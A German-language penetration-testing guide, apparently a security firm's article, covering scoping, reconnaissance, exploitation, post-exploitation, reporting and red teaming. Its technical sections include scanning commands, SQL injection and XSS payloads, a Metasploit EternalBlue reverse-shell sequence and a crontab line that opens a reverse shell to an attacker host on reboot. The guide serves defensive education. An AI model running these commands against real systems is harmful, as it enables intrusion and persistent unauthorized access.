1. Die Bedeutung der Umfangsdefinition (Engagement Scoping)

Bevor ein einziger Scan gestartet wird, ist die präzise Definition des Testumfangs, oft als Engagement Scoping bezeichnet, der wichtigste Schritt. Dieser Prozess legt die Rahmenbedingungen für den gesamten Penetrationstest fest und ist entscheidend für den Erfolg, die Rechtmäßigkeit und die Effektivität des Vorhabens.

1.1 Ziele und Reichweite

  • Definition der Ziele: Was soll mit dem Test erreicht werden? Geht es darum, Schwachstellen in einer bestimmten Anwendung zu finden, die Konfiguration eines Netzwerks zu validieren oder die Widerstandsfähigkeit gegen externe Angriffe zu bewerten? Klare Ziele helfen, den Fokus zu schärfen.
  • Identifikation der Assets: Welche Systeme, Anwendungen, IP-Adressen, Subnetze, Domains oder physischen Standorte sind Teil des Scopes? Es ist entscheidend, alle zu testenden Komponenten explizit zu benennen und alle explizit auszuschließen, die nicht getestet werden dürfen.
  • Testarten: Soll ein Black-Box-Test durchgeführt werden, bei dem der Tester keine Vorabinformationen über das Zielsystem erhält und die Perspektive eines externen Angreifers einnimmt? Oder ein White-Box-Test (auch bekannt als Crystal-Box-Test), bei dem dem Tester umfassende Informationen (Quellcode, Architekturdiagramme, Zugangsdaten) zur Verfügung stehen, um eine tiefgehende Analyse zu ermöglichen? Eine Mischform ist der Grey-Box-Test, bei dem der Tester über teilweise Informationen verfügt, z.B. Benutzerzugänge für eine Webanwendung.

1.2 Regeln des Engagements (Rules of Engagement - RoE)

Die RoE sind ein rechtlich bindendes Dokument, das die Verhaltensregeln und Grenzen des Tests festlegt. Sie umfassen:

  • Zeitfenster: Wann darf der Test stattfinden (z.B. außerhalb der Geschäftszeiten, um Störungen zu minimieren)?
  • Kommunikationswege: Wer sind die Ansprechpartner bei Notfällen oder unerwarteten Problemen? Wie und wann wird kommuniziert?
  • Eskalationsprozeduren: Was passiert, wenn kritische Schwachstellen entdeckt werden, die sofortige Aufmerksamkeit erfordern?
  • Verbotene Aktionen: Gibt es Systeme oder Aktionen, die unter keinen Umständen durchgeführt werden dürfen (z.B. Denial-of-Service-Angriffe, Manipulation von Produktionsdaten)?

Ein schlecht definierter Umfang ist die häufigste Ursache für Missverständnisse, rechtliche Probleme und ineffektive Penetrationstests. Die Investition in diesen ersten Schritt zahlt sich vielfach aus.

2. Aufklärungstechniken (Reconnaissance)

Die Aufklärungsphase, oft als 'Information Gathering' bezeichnet, ist das Fundament eines jeden erfolgreichen Penetrationstests. Hierbei sammelt der Tester so viele Informationen wie möglich über das Zielsystem, um potenzielle Angriffsvektoren zu identifizieren. Man unterscheidet zwischen passiver und aktiver Aufklärung.

2.1 Passive Aufklärung

Bei der passiven Aufklärung interagiert der Tester nicht direkt mit dem Zielsystem. Die Informationen werden aus öffentlich zugänglichen Quellen (OSINT – Open Source Intelligence) gesammelt.

  • Domain-Informationen: WHOIS-Abfragen für Domain-Registrierungsdaten, DNS-Einträge (MX, NS, A, AAAA, TXT).
  • Web-Recherche: Unternehmenswebsites, Social Media (LinkedIn, Twitter), GitHub, Jobportale, Archive.org (Wayback Machine) für ältere Versionen von Websites.
  • Suchmaschinen: Google Dorking (spezifische Suchoperatoren wie site:, intitle:, filetype:), um exponierte Dateien, Konfigurationen oder sensible Informationen zu finden.
  • Spezialisierte OSINT-Tools:
    • Shodan: Eine Suchmaschine für mit dem Internet verbundene Geräte, die offene Ports, Banner und Sicherheitslücken aufzeigt.
    • Maltego: Ein grafisches Link-Analyse-Tool zur Visualisierung von Beziehungen zwischen Personen, Unternehmen, Domains und Netzwerkinfrastrukturen.
    • Censys.io: Ähnlich wie Shodan, bietet es detaillierte Informationen über Hosts und Zertifikate.

2.2 Aktive Aufklärung

Bei der aktiven Aufklärung interagiert der Tester direkt mit dem Zielsystem, um weitere Informationen zu gewinnen. Dies kann potenziell von Intrusion Detection Systems (IDS) oder Intrusion Prevention Systems (IPS) erkannt werden.

  • Port-Scanning: Identifizieren offener Ports und der dahinterliegenden Dienste.
  • nmap -sS -sV -O <ziel-ip>

    Dieser Nmap-Befehl führt einen SYN-Scan (-sS) durch, versucht die Dienstversionen (-sV) zu erkennen und das Betriebssystem (-O) zu identifizieren.

  • Vulnerability Scanning: Automatisierte Tools zur Erkennung bekannter Schwachstellen.
    • Nessus: Ein weit verbreiteter, kommerzieller Schwachstellen-Scanner.
    • OpenVAS: Eine Open-Source-Alternative zu Nessus.
    • Nikto: Ein Webserver-Scanner, der nach bekannten Schwachstellen, veralteten Servern und Konfigurationsfehlern sucht.
  • Subdomain Enumeration: Finden weiterer Subdomains, die oft weniger gehärtet sind.
  • sublist3r -d example.com
  • Directory Brute-Forcing: Versuche, versteckte Verzeichnisse und Dateien auf Webservern zu finden.
  • dirb http://example.com /usr/share/wordlists/dirb/common.txt

3. Exploitationsansätze (Exploitation)

Nach der umfassenden Aufklärung und der Identifizierung potenzieller Schwachstellen beginnt die Phase der Exploitation. Hierbei versucht der Tester, die gefundenen Schwachstellen auszunutzen, um Zugriff auf das Zielsystem zu erlangen oder bestimmte Aktionen durchzuführen.

3.1 Kategorisierung von Schwachstellen

  • Netzwerkdienste: Schwachstellen in Diensten wie FTP, SMB, SSH, RDP oder DNS. Dies können Pufferüberläufe, Fehlkonfigurationen oder veraltete Software sein.
  • Webanwendungen: Die OWASP Top 10 listet die häufigsten und kritischsten Webanwendungsschwachstellen auf, darunter:
    • SQL Injection: Einschleusen von bösartigem SQL-Code, um Daten abzufragen oder zu manipulieren.
    • ' OR 1=1 --
    • Cross-Site Scripting (XSS): Einschleusen von clientseitigem Skriptcode in Webseiten, der von anderen Benutzern ausgeführt wird.
    • <script>alert('XSS');</script>
    • Broken Authentication: Schwachstellen in der Authentifizierungs- oder Session-Management-Logik.
    • Insecure Deserialization: Ausnutzung von Fehlern bei der Deserialisierung von Daten.
  • Client-Side Exploits: Angriffe, die den Benutzer dazu verleiten, bösartigen Code auszuführen, z.B. über präparierte Dokumente (PDF, Office-Dateien) oder Phishing-E-Mails.
  • Fehlkonfigurationen: Standardzugangsdaten, offene Dienste, unzureichende Berechtigungen, ungenutzte Funktionen.

3.2 Einsatz von Exploit-Frameworks

Exploit-Frameworks sind Sammlungen von Exploits, Payloads und Tools, die den Exploitationsprozess erheblich vereinfachen.

  • Metasploit Framework: Das bekannteste und am weitesten verbreitete Framework. Es bietet eine riesige Datenbank an Exploits und Payloads für verschiedene Plattformen und Dienste.
  • msfconsole
    use exploit/windows/smb/ms17_010_eternalblue
    set RHOSTS <ziel-ip>
    set PAYLOAD windows/x64/meterpreter/reverse_tcp
    set LHOST <angreifer-ip>
    exploit
  • Cobalt Strike: Ein kommerzielles Framework, das sich auf Red Teaming und Post-Exploitation konzentriert, mit erweiterten Funktionen für Lateral Movement und Stealth.

3.3 Maßgeschneiderte Exploits

In einigen Fällen, insbesondere bei Zero-Day-Schwachstellen oder sehr spezifischen Zielen, müssen Tester eigene Exploits entwickeln. Dies erfordert tiefgehende Kenntnisse in Reverse Engineering, Assembler-Programmierung und Systeminterna.

4. Nach der Kompromittierung (Post-Exploitation)

Sobald ein erster Zugriff auf ein System erlangt wurde, beginnt die Phase der Post-Exploitation. Ziel ist es, den initialen Zugriff zu festigen, die Kontrolle auszubauen und die im Scoping definierten Ziele zu erreichen. Dies kann die Datenerfassung, die Ausweitung des Zugriffs auf andere Systeme oder die Schaffung von Persistenzmechanismen umfassen.

4.1 Privilegieneskalation

Oft wird der erste Zugriff mit geringen Rechten erlangt. Die Privilegieneskalation ist der Prozess, diese Rechte auf höhere Ebenen zu erweitern, z.B. von einem Standardbenutzer zu Root (Linux) oder Administrator (Windows).

  • Lokale Schwachstellen: Ausnutzung von Kernel-Exploits oder falsch konfigurierten Diensten.
  • Fehlkonfigurationen:
    • Sudo-Fehlkonfigurationen (Linux): Wenn Benutzer sudo-Befehle ausführen dürfen, die ihnen letztendlich Root-Rechte verschaffen.
    • sudo -l
    • Unquoted Service Paths (Windows): Wenn Dienstpfade Leerzeichen enthalten und nicht in Anführungszeichen stehen, kann ein Angreifer eine ausführbare Datei in einem übergeordneten Verzeichnis platzieren.
  • Schwache Passwörter/Hashes: Auslesen von Hashes aus dem Speicher (z.B. mit Mimikatz unter Windows) oder aus Konfigurationsdateien und Versuch, diese zu knacken oder für Pass-the-Hash-Angriffe zu nutzen.

4.2 Persistenz

Um den Zugriff auf ein System auch nach einem Neustart oder dem Abmelden des Benutzers aufrechtzuerhalten, werden Persistenzmechanismen eingerichtet.

  • Backdoors: Installation von Hintertüren in legitimen Anwendungen oder als eigenständige Dienste.
  • Geplante Aufgaben (Scheduled Tasks/Cron Jobs): Einrichten von Aufgaben, die regelmäßig oder zu bestimmten Zeiten bösartigen Code ausführen.
  • (crontab -l; echo "@reboot /bin/bash -i >& /dev/tcp/<angreifer-ip>/4444 0>&1")|crontab -
  • Dienstmodifikation (Windows Services): Ändern der Konfiguration eines vorhandenen Dienstes oder Erstellen eines neuen Dienstes, der beim Systemstart ausgeführt wird.
  • Startup-Ordner/Registry Run Keys (Windows): Platzieren von bösartigen Programmen in Autostart-Verzeichnissen oder Registrierungsschlüsseln.

4.3 Lateral Movement und Pivoting

Sobald ein System kompromittiert wurde, versuchen Angreifer oft, sich seitlich im Netzwerk zu bewegen (Lateral Movement), um weitere Systeme zu erreichen, die direkt nicht erreichbar waren.

  • Pass-the-Hash/Pass-the-Ticket: Wiederverwendung von gehashten Anmeldeinformationen oder Kerberos-Tickets, ohne das Klartextpasswort zu kennen.
  • SMB Relay: Abfangen von SMB-Authentifizierungen und deren Weiterleitung an andere Systeme.
  • Pivoting: Nutzung des kompromittierten Systems als Sprungbrett (Proxy) für weitere Angriffe auf interne Netzwerke, die vom Angreifer-System aus nicht direkt erreichbar sind.

4.4 Datenerfassung und Exfiltration

Ein zentrales Ziel vieler Penetrationstests ist die Identifizierung und Exfiltration sensibler Daten, um den potenziellen Schaden eines realen Angriffs zu demonstrieren.

  • Identifizierung: Suchen nach Konfigurationsdateien, Datenbanken, Dokumenten, Passwörtern, PII (Personally Identifiable Information) und geistigem Eigentum.
  • Exfiltration: Übertragen der Daten vom Zielsystem zum Angreifer, oft über verschlüsselte Kanäle, DNS-Tunnel oder über gängige Protokolle wie HTTP/HTTPS, um nicht aufzufallen.

4.5 Spurenverwischung (Clean-up)

In einem realen Szenario würde ein Angreifer versuchen, seine Spuren zu verwischen. Im Rahmen eines Penetrationstests kann dies demonstriert werden, um die Erkennungsfähigkeiten des Blue Teams zu testen.

  • Löschen von Log-Einträgen.
  • Entfernen installierter Tools und Backdoors.

5. Berichtsstandards (Reporting Standards)

Der Penetrationstest ist erst mit einem detaillierten, klaren und umsetzbaren Bericht abgeschlossen. Dieser Bericht ist das primäre Ergebnis der Arbeit und dient als Grundlage für Verbesserungen der Sicherheitslage.

5.1 Schlüsselelemente eines Penetrationstestberichts

  • Executive Summary (Management Summary): Eine nicht-technische Zusammenfassung der wichtigsten Ergebnisse, Risiken und Empfehlungen für das Management. Sie sollte die kritischsten Schwachstellen und die Gesamtrisikobewertung hervorheben.
  • Scope und Methodik: Eine klare Beschreibung des Testumfangs, der angewandten Methodik (z.B. Black-Box, Grey-Box), der verwendeten Tools und der Zeitrahmen.
  • Technische Details der Schwachstellen: Für jede gefundene Schwachstelle sollten folgende Informationen enthalten sein:
    • Titel und Beschreibung: Eine prägnante Bezeichnung und eine detaillierte Erläuterung der Schwachstelle.
    • Betroffene Systeme: Die spezifischen Hosts, IP-Adressen, URLs oder Anwendungen.
    • Schweregrad (Severity): Bewertung des Risikos, oft unter Verwendung des Common Vulnerability Scoring System (CVSS), das eine numerische und vektorbasierte Darstellung der Schwere bietet.
    • Proof of Concept (PoC): Eine Schritt-für-Schritt-Anleitung, wie die Schwachstelle reproduziert wurde, oft mit Screenshots oder Code-Snippets.
    • Auswirkungen: Was sind die potenziellen Folgen, wenn diese Schwachstelle ausgenutzt wird (z.B. Datenverlust, Systemausfall, unautorisierter Zugriff)?
    • Empfehlungen zur Behebung: Konkrete, umsetzbare Schritte, wie die Schwachstelle behoben werden kann, idealerweise mit Verweisen auf offizielle Patches oder Best Practices.
  • Gesamtrisikobewertung: Eine Einschätzung des Gesamtrisikos für die Organisation basierend auf allen gefundenen Schwachstellen.
  • Anhang: Zusätzliche Informationen wie Log-Dateien, detaillierte Scan-Ergebnisse oder weiterführende Referenzen.

5.2 Gängige Berichtsstandards und -Frameworks

  • Penetration Testing Execution Standard (PTES): Bietet einen umfassenden Rahmen für die Durchführung und Berichterstattung von Penetrationstests.
  • Open Web Application Security Project (OWASP): Bietet Richtlinien und Best Practices für die Sicherheit von Webanwendungen, einschließlich Berichtsstandards.
  • NIST SP 800-115: Ein technisches Handbuch für Informationssicherheitstests und -bewertungen, das auch Empfehlungen für die Berichterstattung enthält.

6. Penetrationstests vs. Red Teaming: Ein fundamentaler Unterschied

Obwohl Penetrationstests und Red Teaming oft synonym verwendet werden, gibt es fundamentale Unterschiede in ihren Zielen, Umfängen und Ansätzen.

6.1 Penetrationstest

Ein Penetrationstest (Pentest) ist eine gezielte Übung, um so viele Schwachstellen wie möglich in einem vordefinierten Umfang (z.B. einer spezifischen Anwendung, einem Netzwerksegment) innerhalb eines festgelegten Zeitrahmens zu identifizieren und auszunutzen. Das Hauptziel ist es, die Sicherheit einer bestimmten Komponente zu bewerten und konkrete technische Schwachstellen aufzudecken, die behoben werden müssen.

  • Fokus: Finden und Ausnutzen technischer Schwachstellen.
  • Umfang: Eng und klar definiert (z.B. eine Liste von IPs, URLs).
  • Ziel: Schwachstellen identifizieren, um die technische Sicherheit zu verbessern.
  • Ergebnis: Detaillierter Bericht über gefundene Schwachstellen, Risikobewertung und Behebungsempfehlungen.
  • Interaktion: Oft mit dem Blue Team (Verteidiger) kommunizierend, um Störungen zu minimieren und den Fortschritt zu besprechen.

6.2 Red Teaming

Red Teaming ist eine umfassendere und realistischere Simulation eines realen Angreifers. Das Ziel ist nicht nur, technische Schwachstellen zu finden, sondern die gesamte Verteidigungsfähigkeit einer Organisation zu testen – einschließlich ihrer Menschen, Prozesse und Technologien. Ein Red Team agiert verdeckt und versucht, ein vordefiniertes Geschäftsziel zu erreichen (z.B. Exfiltration sensibler Daten, Sabotage kritischer Systeme), ohne entdeckt zu werden.

  • Fokus: Testen der Erkennungs- und Reaktionsfähigkeiten der Organisation gegen realistische Bedrohungen.
  • Umfang: Breit und flexibel, oft die gesamte Organisation umfassend, mit wenigen Einschränkungen bezüglich der Angriffsvektoren (Phishing, physische Intrusion, Social Engineering, Web-Exploits, etc.).
  • Ziel: Bewertung der Effektivität des Sicherheitsprogramms der Organisation gegen einen entschlossenen und anhaltenden Gegner.
  • Ergebnis: Bericht über die Fähigkeit der Organisation, einen Angriff zu erkennen, einzudämmen und darauf zu reagieren; Empfehlungen zur Verbesserung von Sicherheitsprozessen, Technologien und Schulungen.
  • Interaktion: In der Regel keine Kommunikation mit dem Blue Team während der Operation, um die Realität des Angriffs zu simulieren. Das Blue Team wird erst nach Beendigung des Engagements informiert.

6.3 Purple Teaming

Eine immer beliebter werdende Methode ist das Purple Teaming, bei dem Red und Blue Teams eng zusammenarbeiten. Dies ermöglicht es, die Angriffsvektoren des Red Teams zu identifizieren und gleichzeitig die Erkennungs- und Reaktionsfähigkeiten des Blue Teams in Echtzeit zu verbessern. Es ist eine kollaborative Übung, die darauf abzielt, das gesamte Sicherheitsprogramm kontinuierlich zu optimieren.

Zusammenfassend lässt sich sagen, dass Penetrationstests entscheidend sind, um technische Lücken zu schließen, während Red Teaming die ganzheitliche Widerstandsfähigkeit einer Organisation gegen komplexe, zielgerichtete Angriffe bewertet. Beide sind unverzichtbare Werkzeuge im Arsenal eines jeden Cybersicherheits-Experten.

Benötigen Sie Cybersecurity-Beratung?

Unser Team hilft Ihnen, Ihre IT-Infrastruktur zu sichern und Bedrohungen proaktiv zu erkennen.

Kontakt aufnehmen